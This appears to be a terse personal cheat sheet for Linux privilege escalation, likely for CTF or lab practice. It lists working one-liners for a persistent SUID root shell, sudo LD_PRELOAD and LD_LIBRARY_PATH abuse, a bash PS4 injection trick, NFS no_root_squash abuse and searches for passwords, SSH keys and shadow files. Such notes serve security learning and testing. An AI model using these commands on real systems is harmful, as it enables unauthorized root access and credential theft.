Manual Exploitation
Persistent root: cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash
-> /tmp/rootbash -p
-
Kernel exploit:
- Detection:
uname -a
, search for exploitslinux-exploit-suggester-2.pl -k KERNEL
- Exploitation:
- search for exploits, compile, run
- Detection:
-
Service exploit:
- Detection:
ps aux | grep "^root"
<program> --version
dpkg -l | grep <program>
orrpm -qa | grep <program>
- Exploitation:
- search for exploits
- GTFOBins
- Detection:
-
Weak file permissions:
- Detection:
lse.sh
-
/etc/shadow
RW, /etc/passwd
W - backups
- Exploitation:
- depending on which files are readable or writable
- Detection:
-
Sudo:
- Detection:
lse.sh
sudo -l
- Exploitation:
- can execute ALL and known password:
sudo su
,sudo -i
,sudo -s
,sudo /bin/sh
,sudo passwd
- GFTOBins
LD_PRELOAD
-> createpreload.so
, thensudo LD_PRELOAD=/tmp/preload.so PROGRAM
LD_LIBRARY_PATH
-> create shared library (ldd
), thensudo LD_LIBRARY_PATH=LIB_PATH PROGRAM
- can execute ALL and known password:
- Detection:
-
Cron jobs:
- Detection:
lse.sh
/etc/crontab
- Exploitation:
- weak file permissions
- PATH
- wildcards in cronjob -> GTFOBins
- Detection:
-
SUID binaries:
- Detection:
lse.sh
- Exploitation:
- search for exploits
- GTFOBins
- shared object injection -> create shared library (
strace -v -f -e execve <command> 2>&1 | grep exec
), then run SUID binary ex. - strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file” ex. compiling - gcc -shared -fPIC -o libcalc.so libcalc.c - PATH (
strace -v -f -e execve <command> 2>&1 | grep exec
,ltrace
,strings
, disassembly)
- Detection:
-
Shell features:
bash
< 4.2-048 -> user defined functions with absolute path name take precedence over executablebash
< 4.4 -> bash debug modeenv -i SHELLOPTS=xtrace PS4='$(CMD)' PROGRAM
- Passwords and keys:
cat ~/.*history | less'
find / -type f ( -name “flag.txt” -o -name “.flag.txt” ) 2>/dev/null- config files (
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
) - history files (
ls -la
and we can see files like ` *_history`) - SSH keys
- password reuse
- config files (
-
NFS:
- Detection:
- must be
no_root_squash
/etc/exports
showmount -e TARGET
- must be
- Exploitation:
mount -o rw,vers=2 TARGET:/tmp /tmp/nfs
- create SUID binary, run from target
- Detection: